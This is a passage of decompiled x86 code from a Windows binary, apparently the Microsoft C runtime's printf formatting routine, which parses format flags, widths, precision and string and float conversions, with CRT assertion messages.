															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__eax = __ebp - 0x24c;
																__ecx =  *(__ebp + 8);
																__edx =  *(__ebp - 0x2c4);
																__eax = E00430BA0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
															}
														}
													}
													L216:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														 *(__ebp - 0x20) = L0041D8B0( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L218:
														 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
														_t547 =  *(_t557 - 0x251);
														 *(_t557 + 0xc) =  *(_t557 + 0xc) + 1;
														if( *(_t557 - 0x251) == 0 ||  *(_t557 - 0x24c) < 0) {
															break;
														} else {
															if( *(_t557 - 0x251) < 0x20 ||  *(_t557 - 0x251) > 0x78) {
																 *(_t557 - 0x310) = 0;
															} else {
																 *(_t557 - 0x310) =  *( *(_t557 - 0x251) + 0x4065b0) & 0xf;
															}
														}
														L7:
														 *(_t557 - 0x250) =  *(_t557 - 0x310);
														_t506 =  *(_t557 - 0x250) * 9;
														_t536 =  *(_t557 - 0x25c);
														_t547 = ( *(_t506 + _t536 + 0x4065d0) & 0x000000ff) >> 4;
														 *(_t557 - 0x25c) = ( *(_t506 + _t536 + 0x4065d0) & 0x000000ff) >> 4;
														if( *(_t557 - 0x25c) != 8) {
															L16:
															 *(_t557 - 0x318) =  *(_t557 - 0x25c);
															__eflags =  *(_t557 - 0x318) - 7;
															if( *(_t557 - 0x318) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M004309F0))) {
																case 0:
																	L18:
																	 *(_t557 - 0xc) = 0;
																	_t509 = E0042F050( *(_t557 - 0x251) & 0x000000ff, E0041EA40(_t557 - 0x40));
																	_t562 = _t559 + 8;
																	__eflags = _t509;
																	if(_t509 == 0) {
																		L24:
																		E00430B00( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t559 = _t562 + 0xc;
																		goto L218;
																	} else {
																		E00430B00( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																		_t562 = _t562 + 0xc;
																		_t541 =  *( *(_t557 + 0xc));
																		 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																		_t547 =  *(_t557 + 0xc) + 1;
																		__eflags = _t547;
																		 *(_t557 + 0xc) = _t547;
																		asm("sbb eax, eax");
																		 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																		if(_t547 == 0) {
																			_push(L"(ch != _T(\'\\0\'))");
																			_push(0);
																			_push(0x486);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			_t521 = L0041F590();
																			_t562 = _t562 + 0x14;
																			__eflags = _t521 - 1;
																			if(_t521 == 1) {
																				asm("int3");
																			}
																		}
																		L22:
																		__eflags =  *(_t557 - 0x27c);
																		if( *(_t557 - 0x27c) != 0) {
																			goto L24;
																		} else {
																			 *((intOrPtr*)(L0041F530(_t541))) = 0x16;
																			E0041F2C0(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																			 *(_t557 - 0x2f4) = 0xffffffff;
																			E0041EA10(_t557 - 0x40);
																			_t499 =  *(_t557 - 0x2f4);
																			goto L229;
																		}
																	}
																case 1:
																	L25:
																	 *(__ebp - 0x2c) = 0;
																	__edx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																	__eax =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__ecx =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) = __ecx;
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L218;
																case 2:
																	L26:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																	__eflags =  *(__ebp - 0x31c) - 0x10;
																	if( *(__ebp - 0x31c) > 0x10) {
																		goto L33;
																	}
																	L27:
																	__ecx =  *(__ebp - 0x31c);
																	_t72 = __ecx + 0x430a28; // 0x498d04
																	__edx =  *_t72 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00430A10))) {
																		case 0:
																			goto L30;
																		case 1:
																			goto L31;
																		case 2:
																			goto L29;
																		case 3:
																			goto L28;
																		case 4:
																			goto L32;
																		case 5:
																			goto L33;
																	}
																case 3:
																	L34:
																	__edx =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__eax =  *(__ebp - 0x18);
																		__eax =  *(__ebp - 0x18) * 0xa;
																		__eflags = __eax;
																		__ecx =  *((char*)(__ebp - 0x251));
																		_t96 = __ecx - 0x30; // -48
																		__edx = __eax + _t96;
																		 *(__ebp - 0x18) = __eax + _t96;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00420C00(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		}
																	}
																	goto L218;
																case 4:
																	L40:
																	 *(__ebp - 0x30) = 0;
																	goto L218;
																case 5:
																	L41:
																	__eax =  *((char*)(__ebp - 0x251));
																	__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																	if( *((char*)(__ebp - 0x251)) != 0x2a) {
																		__edx =  *(__ebp - 0x30);
																		__edx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __edx;
																		_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																		__ecx = __edx + _t107;
																		 *(__ebp - 0x30) = __ecx;
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00420C00(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L218;
																case 6:
																	L47:
																	__edx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																	__eflags =  *(__ebp - 0x320) - 0x2e;
																	if( *(__ebp - 0x320) > 0x2e) {
																		L70:
																		goto L218;
																	}
																	L48:
																	__ecx =  *(__ebp - 0x320);
																	_t115 = __ecx + 0x430a50; // 0x25e9003
																	__edx =  *_t115 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M00430A3C))) {
																		case 0:
																			L53:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x36;
																			if( *( *(__ebp + 0xc)) != 0x36) {
																				L56:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x33;
																				if( *( *(__ebp + 0xc)) != 0x33) {
																					L59:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x64;
																					if( *( *(__ebp + 0xc)) == 0x64) {
																						L65:
																						L67:
																						goto L70;
																					}
																					L60:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x69;
																					if( *__ecx == 0x69) {
																						goto L65;
																					}
																					L61:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x6f;
																					if(__ecx == 0x6f) {
																						goto L65;
																					}
																					L62:
																					__edx =  *(__ebp + 0xc);
																					__eax =  *( *(__ebp + 0xc));
																					__eflags =  *( *(__ebp + 0xc)) - 0x75;
																					if( *( *(__ebp + 0xc)) == 0x75) {
																						goto L65;
																					}
																					L63:
																					__ecx =  *(__ebp + 0xc);
																					__edx =  *__ecx;
																					__eflags =  *__ecx - 0x78;
																					if( *__ecx == 0x78) {
																						goto L65;
																					}
																					L64:
																					__eax =  *(__ebp + 0xc);
																					__ecx =  *( *(__ebp + 0xc));
																					__eflags = __ecx - 0x58;
																					if(__ecx != 0x58) {
																						 *(__ebp - 0x25c) = 0;
																						goto L18;
																					}
																					goto L65;
																				}
																				L57:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *((char*)(__ecx + 1));
																				__eflags =  *((char*)(__ecx + 1)) - 0x32;
																				if( *((char*)(__ecx + 1)) != 0x32) {
																					goto L59;
																				} else {
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																					__ecx =  *(__ebp - 0x10);
																					__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																					 *(__ebp - 0x10) = __ecx;
																					goto L67;
																				}
																			}
																			L54:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x34;
																			if( *((char*)(__ecx + 1)) != 0x34) {
																				goto L56;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00008000;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		case 1:
																			L68:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			goto L70;
																		case 2:
																			L49:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6c;
																			if(__ecx != 0x6c) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000010;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			}
																			goto L70;
																		case 3:
																			L69:
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			goto L70;
																		case 4:
																			goto L70;
																	}
																case 7:
																	L71:
																	__ecx =  *((char*)(__ebp - 0x251));
																	 *(__ebp - 0x324) = __ecx;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																	__eflags =  *(__ebp - 0x324) - 0x37;
																	if( *(__ebp - 0x324) > 0x37) {
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	}
																	L72:
																	_t156 =  *(__ebp - 0x324) + 0x430abc; // 0xcccccc0d
																	__ecx =  *_t156 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00430A80))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			__eflags = __ecx;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__eax =  *(__ebp - 0x10);
																				__eax =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __eax;
																				 *(__ebp - 0x10) = __eax;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000800;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *(__ebp - 0x260) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E00420C00(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x288);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x43de98; // 0x4063f4
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041CB30(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041EA40(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a8;
																					_push(__ebp - 0x2a8);
																					__eax =  *0x43de88; // 0xfb3c7abe
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041EA40(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x43de94; // 0xfb3c7abe
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041EA40(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x43de90; // 0xfb3c7abe
																							E00427990(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__edx =  *(__ebp - 4);
																						__edx =  *(__ebp - 4) + 1;
																						__eflags = __edx;
																						 *(__ebp - 4) = __edx;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E00422120( *(__ebp - 4));
																					do {
																						L190:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L216;
																						}
																						goto L191;
																					} while ( *(__ebp - 0x324) > 0x37);
																					goto L72;
																				}
																				L127:
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags = __ecx - 0x67;
																				if(__ecx != 0x67) {
																					goto L129;
																				}
																				L128:
																				 *(__ebp - 0x30) = 1;
																				goto L131;
																			}
																			L125:
																			 *(__ebp - 0x30) = 6;
																			goto L131;
																		case 6:
																			L75:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00420C00(__ebp + 0x14);
																				 *(__ebp - 0x284) = __ax;
																				__cl =  *(__ebp - 0x284);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x280) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E0042F030(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x280) = E00436BC0(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				__eflags =  *(__ebp - 0x280);
																				if( *(__ebp - 0x280) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		case 7:
																			L144:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L153;
																		case 8:
																			L109:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x298) = E00420C00(__ebp + 0x14);
																			__eax = E0042F010();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L119:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x298);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x298);
																					 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																			L110:
																			__edx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x32c) = 0;
																			} else {
																				 *(__ebp - 0x32c) = 1;
																			}
																			__eax =  *(__ebp - 0x32c);
																			 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041F590();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x29c);
																			if( *(__ebp - 0x29c) != 0) {
																				L118:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			} else {
																				L117:
																				 *((intOrPtr*)(L0041F530(__ecx))) = 0x16;
																				__eax = E0041F2C0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2f8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041EA10(__ecx);
																				__eax =  *(__ebp - 0x2f8);
																				goto L229;
																			}
																		case 9:
																			L151:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00420C00(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00420C00(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00420C00(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00420C00(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00420C20(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00420C20(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L90:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x328) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x328) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x328);
																			 *(__ebp - 0x290) =  *(__ebp - 0x328);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00420C00(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			__eflags =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L101:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x43de98; // 0x4063f4
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x28c) =  *(__ebp - 4);
																				while(1) {
																					L104:
																					__ecx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L105:
																					__eax =  *(__ebp - 0x28c);
																					__ecx =  *( *(__ebp - 0x28c));
																					__eflags = __ecx;
																					if(__ecx == 0) {
																						break;
																					}
																					L106:
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				}
																				L107:
																				__eax =  *(__ebp - 0x28c);
																				__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																				__eflags = __eax;
																				 *(__ebp - 0x24) = __eax;
																				goto L108;
																			} else {
																				L94:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x43de9c; // 0x4063e4
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x294) =  *(__ebp - 4);
																				while(1) {
																					L97:
																					__edx =  *(__ebp - 0x290);
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																					__eflags =  *(__ebp - 0x290);
																					if( *(__ebp - 0x290) == 0) {
																						break;
																					}
																					L98:
																					__ecx =  *(__ebp - 0x294);
																					__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L99:
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																					 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
																				}
																				L100:
																				 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L108:
																				while(1) {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				}
																			}
																		case 0xc:
